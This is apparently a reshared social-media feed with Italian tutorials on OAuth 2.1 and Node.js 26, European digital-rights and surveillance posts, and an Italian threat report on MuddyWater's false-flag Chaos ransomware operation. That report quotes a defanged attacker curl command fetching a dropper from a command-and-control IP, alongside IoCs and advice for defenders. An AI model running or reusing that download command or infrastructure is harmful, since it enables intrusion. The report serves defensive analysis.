The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Vercel Data Breach: ShinyHunters Exploit OAuth Supply Chain Attack to Steal Customer Credentials for $2M Sale
#CyberSecurity
securebulletin.com/vercel-data…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario
#tech
spcnet.it/oauth-2-1-spiegato-s…
@informatica


OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario


OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0


OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine


Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

  • Un job notturno che interroga un’API di reportistica
  • Un microservizio di spedizione che notifica il microservizio di inventario
  • Un worker in background che elabora una coda di messaggi
  • Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

  1. Il servizio invia le proprie credenziali al token service via HTTP POST
  2. Il token service verifica l’identità e restituisce un access token
  3. Il servizio usa il token per chiamare le API target


// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:
  • Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
  • private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
  • Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio


Flusso 2: Authorization Code + PKCE — applicazioni con utente


Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona


  1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
  2. L’utente si autentica (password, MFA, policy aziendali)
  3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
  4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice


PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

  1. Genera una stringa casuale (code_verifier)
  2. Calcola il suo hash SHA-256 (code_challenge)
  3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser


Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

  1. Il dispositivo richiede un codice utente e un URL di verifica al token service
  2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
  3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
  4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
  5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1


Scegliere il flusso corretto richiede esattamente due domande:

  1. È coinvolto un utente umano?No → Client Credentials
    • Sì → vai al punto 2


  2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
    • No → Device Authorization


Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché


Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

  • Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
  • Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
  • Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.


Conclusioni


OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026


The Pirate Post ha ricondiviso questo.

Die EU will die KI-Verordnung aufweichen. Eine erste Einigung sieht nun vor, bestimmte Regulierungen für die Industrie abzuschwächen und zeitlich deutlich nach hinten zu verschieben. Hinzugekommen ist ein Verbot von KI-Anwendungen, mit denen sexualisierte Deepfakes erstellt werden können.

netzpolitik.org/2026/ki-verord…

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime
#CyberSecurity
insicurezzadigitale.com/muddyw…


MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.


The Pirate Post ha ricondiviso questo.

Le #PJLFraudes a été voté cette semaine à l'Assemblée, et devrait l'être la semaine prochaine au Sénat. Sa direction anti-sociale que nous dénoncions en fin d'année dernière n'a pas évoluée. Pire, un article de ce projet de loi veut étendre le droit de communication aux départements. On vous explique ce que c'est et en quoi cela va accentuer la pression sur les plus précaires. ⬇️

laquadrature.net/2026/05/07/pr…

reshared this

in reply to La Quadrature du Net

Depuis 2008, ce droit de communication est sans cesse étendu. Le #PJLFraudes n'est que la continuité d'une politique qui suppose que les pauvres sont des fraudeur·euses en puissance. Le fameux fantasme de l'« assisté·e » cher à la droite et à l'extrême droite. Alors pour nous aider à continuer de lutter, vous pouvez, si vous en avez les moyens, nous faire un don.

laquadrature.net/donner

Questa voce è stata modificata (1 mese fa)

Siam reshared this.

The Pirate Post ha ricondiviso questo.

Wann setzt Europa seine Digitalgesetze gegen Tech-Konzerne durch? Die EU-Kommission knickt ein, fürchten Abgeordnete und Vertreter:innen der Zivilgesellschaft. Nun wollen sie Kommissionspräsidentin Ursula von der Leyen Beine machen. netzpolitik.org/2026/verfahren…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy
#tech
spcnet.it/node-js-26-0-0-tempo…
@informatica


Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy


Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default


La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

  • Temporal.PlainDate: una data senza orario né fuso orario
  • Temporal.PlainTime: un orario senza data né fuso orario
  • Temporal.PlainDateTime: data e orario senza fuso orario
  • Temporal.ZonedDateTime: data e orario con fuso orario esplicito
  • Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
  • Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39


Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()


La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()


La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione


La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti


Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()


Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*


I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types


Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime


Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

  • module.register() — deprecato in favore di import.meta.url patterns
  • Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
  • Alcune API stream (DEP0201)


Come aggiornare


Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:
fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:
  1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
  2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
  3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
  4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'


Conclusioni


Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026


The Pirate Post ha ricondiviso questo.

📊 Vor einem Jahr veröffentlichte das Max-Planck-Institut zur Erforschung von Kriminalität, Sicherheit und Recht die erste „Überwachungsgesamtrechnung“ – eine Analyse der Überwachungsbefugnisse und -maßnahmen der Sicherheits- und Strafverfolgungsbehörden in Deutschland.

Viele Behörden seien allerdings nicht in der Lage gewesen, belastbare Daten über die von ihnen durchgeführten Maßnahmen bereitzustellen – ein Umstand, der eine transparente Debatte erheblich erschwert.

🔗 csl.mpg.de/813252/ueberwachung…

in reply to Stiftung Datenschutz

📌 Doch was hat sich seitdem getan?

Die Überwachung in verschiedenen Lebensbereichen hat weiter zugenommen. So hat das Bundeskabinett ein Gesetzespaket zur digitalen Rasterfahndung auf den Weg gebracht.

Vorgesehen sind unter anderem ein biometrischer Internetabgleich sowie KI-gestützte Analysen von Polizeidaten. Der Gesetzentwurf wird im Bundestag und Bundesrat beraten.

🔗 heise.de/news/Digitale-Rasterf…

in reply to Stiftung Datenschutz

Die geplante Datenanalyse, bei der Informationen aus zahlreichen Quellen zusammengeführt werden, könnte umfassende Persönlichkeitsprofile ermöglichen und stößt auf Kritik.

@netzpolitik_feed berichtet, dass KI-Systeme mit persönlichen Daten trainiert werden sollen – teilweise ohne Anonymisierung und in Kooperation mit privaten Unternehmen.

🔗 netzpolitik.org/2026/faq-das-u…

👉 Jetzt ist ein guter Zeitpunkt, sich die Überwachungsgesamtrechnung noch einmal genauer anzusehen.

#TeamDatenschutz

reshared this

The Pirate Post ha ricondiviso questo.

#Meta will uns bis auf die Knochen überwachen – literally! ☠️🦴

Auf der Suche nach Minderjährigen will Meta Nutzer*innen auf Facebook und Instagram umfassend durchleuchten. Eine als KI bezeichnete Software soll unter anderem die Knochenstruktur abgebildeter Personen in Fotos und Videos auswerten.

Warum macht Meta das? Ist das neu? Dürfen die das?

Lest hier meine Analyse @netzpolitik_feed

netzpolitik.org/2026/du-siehst…

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

1/3 🚨 Early this morning, EU lawmakers sealed the deal on the EU's #AIOmnibus.

The outcome of the final negotiations is not surprising, given the massive #deregulation push from parts of the European Commission, the German government, industry actors, and some lawmakers.

But it is still deeply disappointing 🙅🏽‍♀️

With this morning's deal, we will have... 🧵

in reply to EDRi

2/3 🚫 A delay to key high-risk AI obligations, weakening accountability of those developing, selling or deploying AI systems

🚫 A watering down of protections against some risky and harmful AI systems, including through a carve-out for industrial AI

🚫 Less legal certainty, as compliance with important safeguards is postponed and parts of the framework become more fragmented

🚫 A worrying precedent for reopening hard-won #DigitalRights protections before they have even had the chance to apply

in reply to EDRi

3/3 The message is clear: when powerful actors complain loudly enough, safeguards can be recast as burdens and rules that protect people can be reopened.

❤️‍🩹 This does not make the EU digital rulebook simpler. It makes it weaker, harder to enforce, and less protective of people’s rights.

It also confirms a dangerous direction of travel: companies are being given more space to mark their own homework, while #FundamentalRights, justice and democratic oversight are pushed further to the margins.

reshared this

The Pirate Post ha ricondiviso questo.

Auf der Suche nach Minderjährigen will Meta Nutzer*innen auf Facebook und Instagram umfassend durchleuchten. Der Konzern will sogar die Knochenstruktur von Menschen auf Fotos auswerten. Wie gefährlich ist das? Die Analyse @sebmeineck

netzpolitik.org/2026/du-siehst…

The Pirate Post ha ricondiviso questo.

#Web3privacy now throws some of the best meetups, workshops, and gatherings dedicated to building tech that doesn't watch you back.

No hype. No surveillance sales pitches. Just builders, thinkers, and tinkerers mapping the road to digital autonomy.

📍 See what's happening near you (or online):
🔗 web3privacy.info/events

𝘉𝘦𝘤𝘢𝘶𝘴𝘦 𝘵𝘩𝘦 𝘧𝘶𝘵𝘶𝘳𝘦 𝘰𝘧 𝘵𝘩𝘦 𝘸𝘦𝘣 𝘴𝘩𝘰𝘶𝘭𝘥𝘯'𝘵 𝘳𝘦𝘲𝘶𝘪𝘳𝘦 𝘢 𝘣𝘢𝘤𝘬𝘨𝘳𝘰𝘶𝘯𝘥 𝘤𝘩𝘦𝘤𝘬.

The Pirate Post reshared this.

The Pirate Post ha ricondiviso questo.

Das „Schwarze Loch“ für die unregulierte Datenanalyse: Europol entzog eine mutmaßlich illegale Schatten-IT jahrelang der Kontrolle. Dennoch will die EU-Kommission Europol nun mit deutlich mehr Budget und Personal ausstatten netzpolitik.org/2026/correctiv…
The Pirate Post ha ricondiviso questo.

Das war ja klar, dass in Baden-Württemberg unter Özdemir und Hagel ein Ausbau der Überwachung zu erwarten ist. Aber dass dann gleich alle Hemmschwellen fallen ... Im Koalitionsvertrag versprechen die Herren, in drei Städten Videokameras zu installieren, die gleichzeitig Verhalten und Gesichter erkennen können. Die Kombination beider Technologien galt bislang als unvermittelbar, weil jede einzelne schon so tief in die Persönlichkeitsrechte eingreift. Aber naja, da sind wir. netzpolitik.org/2026/koalition…
The Pirate Post ha ricondiviso questo.

Grün-Schwarz will in Baden-Württemberg als erstem Bundesland doppelte KI-Videoüberwachung ausrollen: Kameras, die Menschen auf verdächtiges Verhalten überprüfen und sie gleichzeitig mit Gesichtserkennung analysieren. In Mannheim und zwei weiteren Städten soll das Pilotprojekt starten. netzpolitik.org/2026/koalition…
The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

📰 "Selling data to its own users is a popular practice among companies. In reality, however, people have the right to receive their own data free of charge," Noyb data protection lawyer Martin Baumann said. #LinkedIn #GDPR

👉 Read more: theregister.com/2026/05/05/lin…

Questa voce è stata modificata (1 mese fa)

reshared this

The Pirate Post ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

DigiCert Breached via Weaponized Screensaver: Threat Actor Steals EV Code Signing Certificates to Spread Zhong Stealer
#CyberSecurity
securebulletin.com/digicert-br…
The Pirate Post ha ricondiviso questo.

Die Alterskontroll-App der EU- Kommission nutzt ein Verfahren von Google-Entwicklern. IT-Fachleute warnen vor Abhängigkeiten und Datenschutzrisiken – auch mit Blick auf die geplante EUDI-Wallet.

netzpolitik.org/2026/europaeis…

in reply to netzpolitik.org

Ich frag mich ja immer noch, wofür diese digitale Funktion im Personalausweis in Verbindung mit der Ausweis-App gut ist? Warum muss ich personenbezogene und sensible Daten an weitere Akteure offenlegen, obwohl es doch schon Möglichkeiten gäbe, auch wenn diese evtl. weiterentwickelt werden müssten? Ist "digitale Unabhängigeit" nur ne moderne Worthülse? Wer profitiert von diesem Unfug oder ist es einfach nur mangelnde Kompetenz?
in reply to netzpolitik.org

Wenn es ja nur das Verfahren (also der Algorithmus) wäre! Die App nutzt aber sogar Googles Implementation (als Programmbibliothek). Die kann Google jederzeit ändern. Das heißt: Selbst wenn diese Bibliothek momentan datenschutzkonform arbeiten sollte, kann sich das durch ein Update jederzeit ändern.

/cc @dleisegang

Questa voce è stata modificata (1 mese fa)

Einladung Piratenversammlung 30. Mai 2026


The media in this post is not displayed to visitors. To view it, please log in.

Wir laden Dich herzlich zur ersten ordentlichen Piratenversammlung 2026 ein. Diese findet in Bern statt.

Ort: Käfigturm Bern (polit-forum-bern.ch/turmgeschi…)
Marktgasse 67, 3011 Bern
openstreetmap.org/way/25123620…
Anreise mit PW: Parkhaus Metro liegt am nächsten
Anreise mit ÖV: Bahnhof Bern, zu Fuss 5 Minuten entfernt.

Wann: Samstag, 30.05.2026
15:30 : Türöffnung
16:00 : Beginn
18:00 : Ende & sozialer Teil

